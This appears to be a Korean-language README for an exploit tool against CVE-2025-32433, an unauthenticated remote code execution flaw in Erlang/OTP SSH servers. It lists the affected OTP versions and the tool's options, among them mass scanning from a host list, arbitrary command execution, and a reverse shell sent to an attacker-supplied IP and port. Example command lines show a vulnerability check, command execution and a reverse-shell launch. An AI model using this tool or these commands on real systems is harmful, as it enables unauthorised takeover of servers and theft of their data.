
이 취약점으로 인해 네트워크 접근 권한이 있는 공격자는 사전 인증 없이 Erlang/OTP SSH 서버에서 임의 코드를 실행할 수 있습니다.
이 취약점은 네트워크를 통해 Erlang/OTP SSH 서버에 접근할 수 있는 공격자가 사전 인증 없이 임의 코드를 실행할 수 있게 합니다.
Erlang/OTP SSH 서버에서 심각한 취약점이 확인되었으며, 이 취약점으로 인해 공격자가 인증되지 않은 원격 코드 실행(RCE)을 수행할 수 있습니다. SSH 프로토콜 메시지 처리의 결함을 악용하면 악의적인 공격자가 유효한 자격 증명 없이 영향을 받는 시스템에 무단으로 접근하여 임의 명령을 실행할 수 있습니다. 이는 해당 호스트의 손상으로 이어져 제3자가 민감한 데이터에 무단으로 접근하거나 조작할 수 있게 되거나, 서비스 거부(DoS) 공격이 발생할 수 있습니다.
OTP-27.3.2 및 이전 버전
OTP-26.2.5.10 및 이전 버전
OTP-25.3.2.19 및 이전 버전
python cve-2025-32433.py <host> [options]
옵션:
-p PORT, --port PORT: SSH 포트 (기본값: 22)
-t TIMEOUT, --timeout TIMEOUT: 연결 제한 시간(초) (기본값: 5)
-c COMMAND, --command COMMAND: 실행할 사용자 지정 명령
--check: 대상이 취약한지 확인
-u urls.txt, --urlfile urls.txt: 스캔할 호스트 목록이 포함된 파일 (한 줄에 하나)
-o output.txt, --output output.txt: 결과를 저장할 출력 파일.
--shell: 리버스 셸 실행
--lhost LHOST: 리버스 셸용 공격자 IP
--lport LPORT: 리버스 셸용 공격자 포트 (기본값: 4444)
python cve-2025-32433.py 127.0.0.1 --check
python cve-2025-32433.py 127.0.0.1 -c 'cat pwned.txt'
python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444